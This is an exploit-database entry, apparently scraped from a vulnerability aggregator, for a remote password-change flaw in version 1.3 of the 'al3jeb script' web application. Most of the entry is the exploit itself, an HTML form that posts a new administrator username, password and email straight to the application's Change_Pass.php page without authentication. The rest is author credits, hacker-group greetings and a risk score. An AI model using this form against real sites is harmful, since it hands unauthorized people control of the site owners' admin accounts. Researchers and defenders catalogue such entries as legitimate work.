al3jeb script Remote Change Password Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

al3jeb script Remote Change Password Exploit by alnjm33 on version 1.3 allows unauthorized remote password change


                                                &#60;!--------
Exploit Title :al3jeb script Remote Change Password Exploit
Author: alnjm33
Software Link: http://www.traidnt.net/vb/attachment.php?attachmentid=354606&d=1237376300
Version: 1.3
Tested on:1.3
MY home : Sec-war.com
:::::::::::::::exploit:::::::::::::::::::::
----------&#62;

&#60;html&#62;
&#60;head&#62;
&#60;title&#62; al3jeb script Remote Change Password Exploit  &#60;/title&#62;
&#60;/head&#62;
&#60;body text=&#34;#00FF00&#34; bgcolor=&#34;#000000&#34;&#62;
&#60;form action=http://SITE/al3jeb/Change_Pass.php method=post style=&#34;text-align: center&#34;&#62;
&#60;b&#62;For More &#60;/b&#62;
&#60;p&#62;&#60;b&#62;visit us&#60;/b&#62;&#60;/p&#62;
&#60;p&#62;
&#60;a href=&#34;http://sec-war.com/cc/index.php&#34; style=&#34;text-decoration: none; font-weight: 700&#34;&#62;
http://sec-war.com/cc/index.php&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;
&#60;br&#62;
User: &#60;input name=&#34;adminn&#34; type=&#34;text&#34; id=&#34;adminn&#34; value=&#34;&#34; /&#62;
&#60;br&#62;
Pass: &#60;input name=&#34;adminp&#34; type=&#34;password&#34; id=&#34;adminp&#34; value=&#34;&#34;  /&#62;
&#60;br&#62;
Email &#60;input name=&#34;mail&#34; type=&#34;text&#34; id=&#34;adminm&#34; value=&#34;&#34; /&#62;
&#60;br&#62;
&#60;input type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;Sec-War&#34; /&#62;&#60;br&#62;
&nbsp;&#60;br&#62;
&#60;/p&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;html&#62;
&#60;!----------
:::::::::::::::::::::::::::::::
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso -JaMbA-RoOt_EgY-jago-dz-XR57 all sec-war.com members
:::::::::::::::::::::::::::::
-----------&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1